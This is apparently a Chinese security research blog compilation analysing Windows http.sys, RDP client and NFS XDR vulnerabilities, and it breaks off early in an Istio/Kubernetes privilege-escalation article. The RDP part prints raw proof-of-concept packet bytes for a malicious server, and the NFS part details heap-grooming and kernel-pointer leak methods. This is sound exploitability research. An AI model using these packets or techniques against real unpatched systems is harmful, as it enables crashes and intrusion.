Normal view
CVE-2022-21907 http协议远程代码执行漏洞分析总结
背景:
2021年最近的上一个http远程代码执行漏洞CVE-2021-31166中,由于其UAF的对象生命周期的有限性,似乎并不太可能在实际场景中实现利用。今年一月的安全更新中包含另一个http的远程代码执行漏洞CVE-2022-21907,根据官方更新说明这仍是一个非常严重的漏洞,我们有必要对他在实际环境中是否可能被利用进行进一步的判断。
开始准备分析之前的两点说明:
在开始分析之前,这里有两点分析过程中的思路提示需要提前说明。可以排除其他研究人员在理解这个漏洞可能产生的一些歧义。
A,最合适的补丁对比文件。
通常来说,我们在最开始选择对比的补丁文件时,尽量选择时间间隔最小的补丁文件。但是有时候,对于补丁文件的系统版本也非常重要。本例中,如果研究者使用server2019的http文件去分析,你会发现代码有太多改动是针对一些旧版代码的相对改动,并不是所有版本系统的某一模块都是一样的。
B,漏洞产生的方向。
这里我们说的方向主要指协议过程中,服务端和客户端的数据请求方向。通常来说一个可互联网蠕虫级别的漏洞,我们首先想到的触发方式可能是客户端向服务端发送请求,之后服务端在解析请求时发生的漏洞。如cve-2019-0708RDP代码执行漏洞以及永恒之蓝。但近年来随着这类漏洞发现的越来越困难,研究人员开始向将漏洞挖掘方向偏向于协议客户端的一些接收解析模块。但该漏洞似乎更加特殊,虽然它存在于服务端,却并不是解析处理客户端的具体数据内容模块,而是处于服务端接收客户端请求之后,进行的响应发送模块。
我们似乎并不能在最简单默认的http服务端系统配置中触发此漏洞,需要服务端包含一些特定的代码逻辑,该漏洞才会有比较大的威胁。具体来说,我们的poc代码是一个普通的http服务端代码,在其上加入有一些较小改动的特殊逻辑代码。只要客户端发起正常访问,即可触发服务端崩溃。
补丁分析:
我们使用最新的windows11的补丁文件进行分析。可以比较清晰的发现漏洞可能存在于这些代码中:ULpFastSendCompleteWorker,UlPFreeFastTracker,以及UlFastSendHttpResponse.中指针使用完之后清零的操作。另外有两处不太明显的代码即是申请FastTracker对象内存的函数:UlAllocateFastTracker和UlAllocateFastTrackerToLookaside.时,初始化部分头部内存。
通过梳理http快速响应包发送流程,我们可以发现这些补丁的作用都是针对FastTracker对象中的一些指针地址所进行的。
其中主要有以下三个对象指针。
FastTracker中的LogDatabuffer对象,UriCacheEntry对象以及一个FastTrackerMDL指针。
失败的尝试
通常来说,根据此漏洞的官方描述严重性,我们通常会先考虑这些对象是否存在UAF的情况。
我们优先分析了LogDatabuffer对象,UriCacheEntry对象的生命周期,如果仅从这两个对象的申请和释放过程判断,我们并没有找到较容易发现的触发可能的UAF错误方式。
之后开始考虑第三个FastTracker的MDL指针。
剩下的可能:
通过前面的测试结果以及分析思路,我们有留意到FastTracker本身在申请释放过程中其内存的一些变化,大致上,FastTracker对象的申请有两种情况,首先查看http响应结构中一些数据长度是否满足最低需求,以及http Tailers长度是否为空,满足条件则直接使用http内部链表对象,否则申请新的内存。问题在这里开始出现,补丁之前的代码,如果申请新内存,有一些关键偏移是没有初始化内存的。其中就包括FastTracker的MDL几个相关判断标志以及MDL本身的地址指针。
之后,思路就比较清晰了,我们需要做的就是构造这样的一个逻辑:当FastTracker申请内存成功之后,并在完全初始化MDL指针之前,故意触发一个HTTP快速响应流程中的任意一个错误,使http提前释放FastTracker对象。而这时,如果FastTracker对象中,未初始化的MDL相关指针位置包含申请内存时包含的一些随机数据,则可能导致这些随机数据被当作MDL指针进行引用。
说明:
这里需要提出一个特别注意的地方。即该漏洞与http Tailers的联系。
从表面上看,该漏洞的直接原因是新FastTracker对象重新从系统内存申请时,未初始化导致的。这样,Tailers长度是否为空作为FastTracker从系统内存申请的判断条件之一,则直接影响该漏洞是否能触发。但是如果继续分析,会发现,即使没有http Tailers的判断条件,该漏洞仍然是可以被触发的。
具体存在以下逻辑:如FastTracker对象申请流程图中,如果发现该http响应结构中不包含http Tailers,会先查询http内部链表,如有空闲对象,则使用空闲对象。这种情况下,这里仍有可能存在一种特殊情况,即内部链表被耗尽,仍需继续通过另一个UlAllocateFastTrackerToLookaside申请新的内存。不过微软已经注意到这里,同样修补了这里的FastTracker的初始化工作。但这意味着,即使http服务端没有开启支持 Tailers特性,该漏洞仍然是可能被触发的。测试之一,仅仅是增加对服务端的访问频率即可做到这一点。
poc
如该漏洞开始分析之前的描述,该漏洞poc主要为我们自己编写的一个http服务端。该服务端唯一不同的地方,是在http响应包发送流程中,在申请FastTracker之后,在FastTracker中的UriCacheEntry对象初始化之前,使http响应流程失败,并开始销毁FastTracker对象即可。(作为示例,其中一种方式,我们在服务端代码的响应包中,加入了一个超过http限制长度的固定头字符数据使得系统认为该固定头数据无效而丢弃)。
当然,要达到这个目的还有很多方式,还有另外的判断可以选择,。只要在这些响应包结构生成流程中(即UlFastSendHttpResponse),在如:UlGenerateMultipleKnownHeaders,UlGenerateFixedHeaders相应包结构生成的流程中出现判断失败,则该服务器代码就可能触发该漏洞。
然后触发该漏洞的方式只需要在客户端访问该端口并进入到我们服务端对应流程即可。因为我们没有刻意进行内存布局,并不是每次访问都能导致崩溃,这需要未初始化内存刚好符合FastTracker的MDL指针的一个标志判断。如下,满足v118+10的标志位为1.
漏洞触发堆栈如下:
总结:
最后,该http远程代码执行漏洞虽然在类型上仍属于UAF(use after free),但该漏洞实现exp有两个比较重要的前提条件待解决。1是该漏洞的触发原理,需要服务端的http代码中,包含一个流程错误的构造操作使HTTP FastTracker因为意外而提前释放,这需要http服务端开发人员在他的代码中刚好包含这样的一个逻辑。2另外则是该漏洞的利用实现方式,即通过布局HTTP FastTracker的未初始化的内存,通过漏洞触发去操作我们自己伪造的MDL指针结构。为了要执行代码,除了我们可能需要继续分析一种可能的信息泄露方式(如构造读写源语或者利用MDL本身的一些机制),但我们仍有大量的后续代码执行方式上的尝试工作要做。所以,就目前短时间来说,该漏洞被利用的困难程度可能较大。
但是对于那些未启用http Tailers支持的服务器,也需要尽快更新此补丁。
参考:
https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907
CVE-2021-34535 RDP客户端漏洞分析
背景:
2021年的八月份微软补丁日,微软公布的补丁中包含两个我们比较感兴趣的两个RCE漏洞中,另一个是cve-2021-34535 RDP客户端的代码执行漏洞。在现代windows系统中,RDP客户端不仅仅被使用在RDP协议中,并且hyper-V中,也似乎保留了部分mstscax.dll功能。因此,该漏洞如果可以在实际环境中构造exp,其威胁是比较严重的。这里我们的目标对该漏洞是否能够在实际中使用进行一个大概的分析判断。并且,因为我们更感兴趣该漏洞在RDP协议下的影响,所以本次分析是基于RDP协议的背景环境。
补丁分析:
通过官方的说明,这是一个存在于mstscax.dll中的漏洞,对比补丁前后代码差异,我们可以比较容易的确认漏洞的基本原理:如下:
这是一个典型的整形溢出漏洞,
另外这里我们还可以注意到,RDP客户端这个代码执行漏洞位置似乎不仅仅只有这一个整形溢出的可能需要判断,还需要验证该sample数据长度是否小于数据包实际携带的sample数据。如果实际的流数据长度小于数据包中长度记录的值,在后续的复制sample数据时,也可能因为读取超出实际数据长度的地址数据而导致崩溃。
构造POC:
根据官方文档的描述,这是这里的CRDPstream::DeliverSample函数功能很可能是属于一个视频重定向动态虚拟频道协议下的功能。所以我们能想到的最好的办法是尝试在复现一个RDP视频重定向的功能场景,然后对CRDPstream::DeliverSample目标函数进行标记,一旦真实的RDP客户端代码能够执行存在漏洞的函数,则我们可以直观的了解到整个漏洞出发路径。这样的另一个好处,是不用了解在漏洞函数触发之前所要做的其他所有工作。不必了解RDP整个初始化过程以及身份验证阶段。
但实际中,我们并不能直接得到这样的结果,经过测试我们仅仅在sever2008中,通过手动启用RDPapp,启用了这种视频重定向功能,但是我们并不能直接定位到漏洞存在的函数。所以,为了更方便的实现这种视频重定向协议的各个功能,最好的办法是需要重建一个RDP服务端,自己根据官方的协议说明文档修改数据。
我们使用了freeRDP中的server代码来实现这一点(在windows下,重构的freeRDP中的server代码可能会有一些兼容性问题,需要修改下个别加载镜像显示驱动的一些处理代码)。
然后回到漏洞触发函数CRDPstream::DeliverSample,我们在文档中找到与其最相关的功能是On Sample消息。通过在freeRDP中的server drdynvc_server_thread1()动态虚拟通道线程中添加视频重定向虚拟动态通道的响应数据包,并构造这一On Sample数据类型:
我们最终得到了触发漏洞路径的流程(在这个过程中,包含较多繁琐的的猜测尝试过程,这里不赘述)。
但这里有两个地方需要说明一下。
一是关于添加虚拟通道并初始化该通道的过程。官方的说明文档已经非常详细,但有时候,也并不是每一个细节和特例都会会详细举例说明。
为了弄清楚其中的细节。我们可以在服务端交互数据响应处理函数CStubIMMServerData<IMMServerData>::Dispatch_Invoke()入口下断点,关注我们感兴趣的特定具体类型通道的状态标志来理解整个通道的创建,关闭,以及其他工作流程。
二是,关于最终漏洞路径触发的问题。我们能发现我们已经已经能在视频重定向虚拟动态通道中触发一些功能流程,但是并不能进入最终和CRDPstream以及CRDPSource类有关的数据处理函数功能。
这时候,我们可以先关注更上层的CRDPSource这个类的其他函数,如相近功能其他类的DeliverSample功能,或者CRDPSource类本身初始化的功能。找到这类离目标漏洞函数更近的功能,再后续测试流程中不同的参数即能比较容易的找到最终的漏洞触发路径。
我们的测试poc中,其包括的视频重定向动态虚拟通道的功能数据包主要如下:
char str1[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
char str2_1[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str2_2[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str2_3[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
///
char str3[] = //发送交换信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
char str4[] = "\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x08\x01\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x60\x00\x00\x00\x61\x75\x64\x73\x00\x00"
"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x10\x16\x00\x00\x00\x00"
"\x10\x00\x80\x00\x00\xaa\x00\x38\x9b\x71\x01\x00\x00\x00\x00\x00"
"\x00\x00\x01\x00\x00\x00\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01"
"\x00\xaa\x00\x55\x59\x5a\x20\x00\x00\x00\x10\x16\x02\x00\x80\xbb"
"\x00\x00\x80\x3e\x00\x00\x01\x00\x10\x00\x0e\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x90";
char str5[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x00\x00\x00";
char str6[] = "\x40\x07"; //关闭通道
char str7[] = "\x14\x08\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
char str8[] = "\x34\x08\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str9[] = "\x34\x08" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str10[] = "\x34\x08" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x00\x00\x00\x00";
char str11[] = "\x34\x08" //发送新的呈现对象
"\x00\x00\x00\x40\x00\x00\x00\x00\x05\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str12[] = "\x14\x07\x54\x53\x4d\x46\x00"; //创建动态虚拟通道
char str13[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00";
char str14[] = "\x34\x07" //发送通道参数
"\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00";
char str15[] = "\x34\x07" //发送通道参数
"\x00\x00\x00\x40\x00\x00\x00\x00\x01\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
///
char str16[] = //发送交换信息
"\x34\x07\x00\x00\x00\x40\x00\x00\x00\x00\x00\x01\x00\x00\x02\x00"
"\x00\x00\x01\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x02\x00"
"\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";
char str17_0[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x13\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str17[] = "\x34\x07"//add steam
"\x00\x00\x00\x40\x00\x00\x00\x00\x02\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x64\x00\x00\x00\x61\x75\x64\x73\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x62\x01\x00\x00\x00\x00\x10\x00\x80\x00\x00\xaa"
"\x00\x38\x9b\x71\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00"
"\x81\x9f\x58\x05\x56\xc3\xce\x11\xbf\x01\x00\xaa\x00\x55\x59\x5a"
"\x24\x00\x00\x00\x62\x01\x02\x00\x00\x77\x01\x00\xc0\x5d\x00\x00"
"\x00\x10\x18\x00\x12\x00\x18\x00\x03\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\xe0\x00\x00\x00";
char str17_2[] = "\x34\x07"
"\x00\x00\x00\x40\x00\x00\x00\x00\x11\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00";
char str18[] = "\x34\x07" //发送示例
"\x00\x00\x00\x40\x00\x00\x00\x00\x03\x01\x00\x00\x4a\x2a\xfd\x28"
"\xc7\xef\xa0\x44\xbb\xca\xf3\x17\x89\x96\x9f\xd2\x02\x00\x00\x00"
"\x46\x01\x00\x00\x37\x00\x00\x00\x00\x00\x00\x00\x38\x00\x00\x00"
"\x00\x00\x00\x00\x15\x16\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x03\x02\x00\x00\x00\xff\xff\xff\x00\x00\x01\xb3\x14\x00\xf0\x13"
"\xff\xff\xe0\xc1\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14" "\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"
"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";
Exp的尝试:
目前,我们可以获取的是一个对堆地址的溢出,并且可溢出数据的长度非常长达到0xFFFF FFFF级别,通常来说,这容易这种溢出很容易造成崩溃,不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中,我们可以注意到RDP协议中包含大量的重载虚函数,我们只需要提前布局一些可控的这种大内存堆,获取一个虚函数指针的跳转引用是可能的。
然而常规思路来说,最大的问题是缺少一个应用层可靠的跳转地址,来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以,我们需要尝试分析这样的可能:是否可以找到协议RDP客户端另外的功能,能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。
但是通过后续分析现有的RDP通讯流程,发现绝大部分的数据都是从服务端发往客户端,客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。
总结:
通过整体的分析,可以看出相对于需要验证登录的服务端,一旦轻易相信服务端可靠性,并且由于RDP本身协议的复杂性,RDP客户端可能存在更广的被攻击面。
后续可能会有其他更多的的客户端漏洞被发现,但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞,似乎更迫切需要一个较稳定的信息泄露漏洞。
另外,对于该漏洞,我们并没有在hyper-V的具体环境中测试,在这里并不确定除了RDP协议本身之外的交互数据之外,hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。
参考
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b
CVE-2021-26432 NFS ONCRPC XDR 驱动协议远程代码执行漏洞验证过程
1,背景:
2021年8月份有两个较严重的漏洞需要关注,其中包括NFS ONCRPC XDR Driver 远程代码执行漏洞CVE-2021-26432以及RDP客户端远程代码执行漏洞CVE-2021-34535。
我们的目标是分析这些潜在影响可能较大的漏洞是否容易在实际的场景中被利用。这里,我们分析NFSXDR漏洞CVE-2021-26432。
2,NFSXDR驱动服务简介:
3,补丁分析:
分析补丁我们能比较容易确定漏洞修补的位置。
其中一处修改的地方是在函数OncRpcMsgpDecodeRpcCallVerifier中增加对参数的判断,
另一个则是在OncRpcBufMgrpAllocateDescriptorFromLLLargePoolAllocation函数中申请内存后,立即初始化该内存。
4,构造poc:
直观上来判断,RCE的cve更可能和第一个判断有关,这里我们通过追踪补丁的判断参数a1+296这个值的所有引用,最后在下面的函数中,找到了和它有关的另一个判断位置。
我们这里可以猜测这是一个计算消息头长度的函数,满足漏洞触发条件之一,需要这个长度固定为36。再查阅相关资料,我们能知道其余漏洞的触发条件是如果我们选择了RPC了验证方式为6(RPCSEC_GSS),则RPC中Credentials中的Flavor为1即AUTH_UNIX(而补丁修补后Credentials中的Flavor只能是为6)。然后我们根据协议文档尝试构造数据包,通过后续的分析对比可以明确上面的固定长度对应的是GSS_Token中的数据长度。
构造GSS_Token中的数据长度大于其在此情况下系统默认固定长度36即可触发漏洞路径。
由于对GSS_Token数据长度计算方式判断错误,返回的数据是可能会超过其默认申请的长度,我们可以通过灵活的构造请求包中的GSS_Token数据长度来控制这个漏洞可能会导致的效果:
如果其长度比默认的36长得不是太多(大致0x50左右),返回的数据包中会包含除GSS_Token数据之外其他的结构数据,这是一个可以导致一个信息泄露的效果:其泄露的数据具体来说包含整个对象内存的地址指针。如果我们的GSS_Token数据长度更长,则系统处理这些数据就会溢出掉后面其他所有结构数据直到其他未知内存(超出0x100基本会崩溃)。另外注意GSS_Token数据长度不是无限长度任意构造的,并且由于NFSxdr驱动中对数据接收的一些其他的限制,我们所能构造的溢出长度最长只能大概0x4000左右。
5,利用:
目前,我们已经有一个比较稳定的溢出。通常漏洞利用会尝试溢出一些特定的数据来得到一个指针执行机会。
我们考虑了以下两种方式:
A,通过溢出控制对象大小为0x900(*XdBD,这是一种NFSXDR为内部申请小于0x800的缓冲区对象)的内部链表缓冲区头,控制下一个缓冲区地址。构造写原语,一方面这种内部缓存的对象链表通常不需要校验其头部数据,这样溢出后会比较稳定。另一方面,通过控制这种内部链表结构,我们可以更加精确的控制其中的内存申请释放时机。
但一方面,这个单链表的长度太短了只有4。这种0x900的对象它的生命周期是随着RPC命令一起生成和释放的。一旦我们尝试风水布局,我们很难确定到这个4个对象的位置。另一方面我们不能通过前面提到的信息泄露的方式去知道这几个对象的地址。因为目前的信息泄露触发方式只能是在申请大缓冲区时才能满足漏洞条件的。而这个0x900的对象属于较小内存对象。
B,通过溢出控制OncRpcConnMgrpWskReceiveEvent中的OncRpcWiMgrpSrvWorkItemAlloc申请的内存(长度为0xa00的NLM对象),控制其对象中的引用指针。借助一个独立的信息泄露漏洞(参考本文最后一节),在我们布局的非分页内存中存放rop链来执行代码。
NFS本身是一个无状态的通讯协议,他使用了NLM对象来保证协议的中的资源正常访问读写。这里的NLM对象,有一些特性值得我们注意。
当多个RPC请求短时间传到服务端时,服务端会使用OncRpcConnMgrpWskReceiveEvent中这样的的一个流程去处理这些请求。
我打印了一部分我们关注的对象的生命周期。我们的目标是溢出NLM对象头部保存的OncRpcMsgProcessMessage函数指针。如下图:
该指针会在其释放前在NFS RPC工作线程中被调用:
该对象生命周期如下:
下图中的W-pool对应NLM对象。我们的目的是在NLM释放前调用其内部的OncRpcMsgProcessMessage指针时,覆盖该指针。
NFSXRD中,每一种不同的请求类型对应不同的的RPC请求,我们通过调整RPC请求中类型的位置和顺序能能够按照我们预期的时机触发溢出。,
NLM对象释放前,我们触发了溢出:
具体来说,我们申请一个0x1490的大内存对象(0x1490是我们可控制的申请读写数据的长度数据内存),之后使用NLM对象填充这些0x1490剩余的空洞。然后再释放所有0x1490的内存对象,在此时重新申请0x1490的读写请求包,在这其中一个包结构中触发漏洞。
以期望在所有的NLM对象释放前,溢出某一个NLM对象中的OncRpcMsgProcessMessage指针。
但结果并不能如预期那样,使漏洞刚好溢出到我们期望的目标上,即使是非常低的概率也没有。除此之外,我们还尝试了另一种不同的溢出思路:
第二种方法,大量发出某一种特定的PRC的指定请求(NLM请求),OncRpcConnMgrpWskReceiveEvent处理流程中会大量交替申请0xa00和0x900两种对象,并且这两个对象是成对出现的他们会各自占用0x1000的内存并形成一个较稳定的内存结构。当前面循环的RPC请求部分前面的相邻0xa00,0x900对象释放时,合并出0x2000的空闲内存。之后在还有剩余RPC请求存在的时候,构造漏洞溢出的内存长度为0x2000溢出其中的一个0xa00 NLM对象的头部。
6,总结:
但后续根据大量测试,我们并不能控制NLM对象能在我们漏洞触发时刚好释放。他有自己的时间计时器,其存在时间总也总是是低于我们的预期。并且另外一个关键的地方是,我们所构造的漏洞消息所申请的内存必须大于1K,太小则不能触发漏洞流程。这时我们也不能使用0x900或者0xa00这样本身存在的对象来占位。
我们最大的问题就是我们溢出的目标对象很难在我们控制得时机,布局成我们期望的位置(无论是0xa00 *RSWI还是0x900 *XdBD)。
综上,如果仅仅限制在最新的win10以上的NFSXDR协议内部,要实现利用似乎并不容易。但考虑到目前已知的在其他协议上的一些研究结果,如果是针对一些例如server2008这样较老系统上布置的NFSXDR服务。该漏洞是可能比较容易通过一些其他协议的内存布局方式而成功利用的。
7,新的漏洞:
在分析漏洞的补丁差异之初,我们有留意到补丁中对申请大于0x800的小内存时,才增加了一个初始化内存的操作,但当申请较小内存的时候,并没有对应的补丁代码。
如下:
按照思维惯性,我们在后续的分析中,就会带着这样的一个疑问进行后续的分析——当申请较小内存时,是否也会存在同原理的错误?
当我们在后续尝试exp的分析过程中发现,当我们构造数据包中GSSTOKEN数据长度如果不为4的整倍数时,返回的数据中最后几位字节有时会出现一些不确定的数据,(如下面的示例)
这是调整申请内存构造数据包大小时候偶然发现的(申请较小内存),深入分析后,最终的结果证明了我们之前的猜测。
该协议中对于数据包对齐的逻辑中,在复制数据时,对于非4的整数长度字节数据系统会仍然会自动填补其长度为4的倍数。而其返回的数据,就会有额外的不确定内存。其长度为4-x,x为GSSTOKEN除以4的余数。
然后,这样的一个错误能导致怎样的结果呢?
为了泄漏更长的数据,我们选择 x=1。 在下面的例子中,选择数据长度为 0x23d=0x23c+1;
我们可以通过增加4 的字节(或 4 的倍数)来设置读取请求数据的长度,以改变要泄露的其他感兴趣的不同位置的数据。 如下:0x241=0x23d+4。
什么这里的示例使用 0x23d 的读取长度?
这是因为当我们选择用较小的内存读取数据时,nfsxdr 默认申请内存的大小为 0x900。 在申请这个大小的内存时,很容易使用其他刚刚释放的大小相同的对象的内存。 在我们调试的环境win10中,Thread内核对象的大小也恰好是接近0x900。 如果是这样的话,这里选择读取 0x23d 长度的数据很可能对应到Thread 对象中存储的函数指针地址 0xfffff806 37efe930。 最后我们可以得到0xfffff8XX 37efe9XX这样的信息。 但是,长度为 8 字节的地址仍有 2 个字节无法确认。
通常来说,这样的信息泄露在现代windows系统上的作用似乎仍然受到地址随机化的限制,对于“37efe930“低位的“30”,一般来说有时我们是可能猜测的,但我们不能确认0xfffff806中的“06”。然而在一些过时的windows系统如win7,这样的信息泄露,足够取得一个内核指针信息。
所以在调用OncRpcBufMgrpAllocateDescriptorFromLLInlineBuffer时这里似乎可能仍然需要初始化其内存。
此错误已经在2月份修补为cve-2022-21993。
参考
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432
利用 gateway-api 攻击 kubernetes
前言
前几天注意到了 istio 官方公告,有一个利用 kubernetes gateway api 仅有 CREATE
权限来完成特权提升的漏洞(CVE-2022-21701),看公告、diff patch 也没看出什么名堂来,跟着自己感觉猜测了一下利用方法,实际跟下来发现涉及到了 sidecar 注入原理及 depolyments 传递注解的特性,个人觉得还是比较有趣的所以记录一下,不过有个插曲,复现后发现这条利用链可以在已经修复的版本上利用,于是和 istio security 团队进行了“友好”的沟通,最终发现小丑竟是我自己,自己yy的利用只是官方文档一笔带过的一个 feature。
所以通篇权当一个 controller 的攻击面,还有一些好玩的特性科普文看好了
istio sidecar injection
istio 可以通过用 namespace 打 label 的方法,自动给对应的 namespace 中运行的 pod 注入 sidecar 容器,而另一种方法则是在 pod 的 annotations 中手动的增加 sidecar.istio.io/inject: "true"
注解,当然还可以借助 istioctl kube-inject
对 yaml 手动进行注入,前两个功能都要归功于 kubernetes 动态准入控制的设计,它允许用户在不同的阶段对提交上来的资源进行修改和审查。
动态准入控制流程:
istiod 创建了 MutatingWebhook,并且一般对 namespace label 为 istio-injection: enabled
及 sidecar.istio.io/inject != flase
的 pod 资源创建请求做 Mutaing webhook.
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: istio-sidecar-injector
webhooks:
[...]
namespaceSelector:
matchExpressions:
- key: istio-injection
operator: In
values:
- enabled
objectSelector:
matchExpressions:
- key: sidecar.istio.io/inject
operator: NotIn
values:
- "false"
[...]
rules:
- apiGroups:
- ""
apiVersions:
- v1
operations:
- CREATE
resources:
- pods
scope: '*'
sideEffects: None
timeoutSeconds: 10
当我们提交一个创建符合规定的 pod 资源的操作时,istiod webhook 将会收到来自 k8s 动态准入控制器的请求,请求包含了 AdmissionReview 的资源,istiod 会对其中的 pod 资源的注解进行解析,在注入 sidecar 之前会使用 injectRequired
(pkg/kube/inject/inject.go:169)函数对 pod 是否符合非 hostNetwork
、是否在默认忽略的 namespace 列表中还有是否在 annotation/label 中带有 sidecar.istio.io/inject
注解,如果 sidecar.istio.io/inject
为 true
则注入 sidecar,另外一提 namepsace label 也能注入是因为 InjectionPolicy 默认为 Enabled
了解完上面的条件后,接着分析注入 sidecar 具体操作的代码,具体实现位于 RunTemplate
(pkg/kube/inject/inject.go:283)函数,前面的一些操作是合并 config 、做一些检查确保注解的规范及精简 pod struct,注意力放到位于templatePod
后的代码,利用 selectTemplates
函数提取出需要渲染的 templateNames 再经过 parseTemplate
进行渲染,详细的函数代码请看下方
获取注解 inject.istio.io/templates
中的值作为 templateName , params.pod.Annotations
数据类型是 map[string]string
,一般常见值为 sidecar 或者 gateway
func selectTemplates(params InjectionParameters) []string {
// annotation.InjectTemplates.Name = inject.istio.io/templates
if a, f := params.pod.Annotations[annotation.InjectTemplates.Name]; f {
names := []string{}
for _, tmplName := range strings.Split(a, ",") {
name := strings.TrimSpace(tmplName)
names = append(names, name)
}
return resolveAliases(params, names)
}
return resolveAliases(params, params.defaultTemplate)
}
使用 go template 模块来完成 yaml 文件的渲染
func parseTemplate(tmplStr string, funcMap map[string]interface{}, data SidecarTemplateData) (bytes.Buffer, error) {
var tmpl bytes.Buffer
temp := template.New("inject")
t, err := temp.Funcs(sprig.TxtFuncMap()).Funcs(funcMap).Parse(tmplStr)
if err != nil {
log.Infof("Failed to parse template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
if err := t.Execute(&tmpl, &data); err != nil {
log.Infof("Invalid template: %v %v\n", err, tmplStr)
return bytes.Buffer{}, err
}
return tmpl, nil
}
那么这个 tmplStr 到底来自何方呢,实际上 istio 在初始化时将其存储在 configmap 中,我们可以通过运行 kubectl describe cm -n istio-system istio-sidecar-injector
